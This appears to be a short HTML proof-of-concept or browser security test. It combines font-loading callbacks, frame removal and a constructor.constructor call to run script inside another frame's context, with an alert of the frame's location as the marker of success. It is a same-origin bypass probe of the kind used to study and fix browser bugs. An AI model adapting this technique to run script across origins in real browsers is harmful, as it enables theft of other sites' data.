<style>
@font-face { font-family: f1; src: url(); }
@font-face { font-family: f2; src: url(); }
</style>
<script>
var t = top;
document.fonts.forEach(function() {
  if (top) {
    var a = document.createElement('a');
    a.href = 'about:blank';
    a.click();
    t.i1.remove();
  } else {
    arguments[0].constructor.constructor('w', 'w.alert(w.location)')(t.frames[0]);
  }
});
</script>